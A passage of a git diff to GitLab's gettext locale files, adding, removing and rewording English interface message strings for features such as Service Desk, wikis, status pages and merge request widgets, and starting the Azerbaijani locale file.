+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/az_AZ/gitlab.po b/locale/az_AZ/gitlab.po
index 52c7cb32822..4b98c3dc96a 100644
--- a/locale/az_AZ/gitlab.po
+++ b/locale/az_AZ/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: az\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:50\n"
+"PO-Revision-Date: 2021-04-02 00:09\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
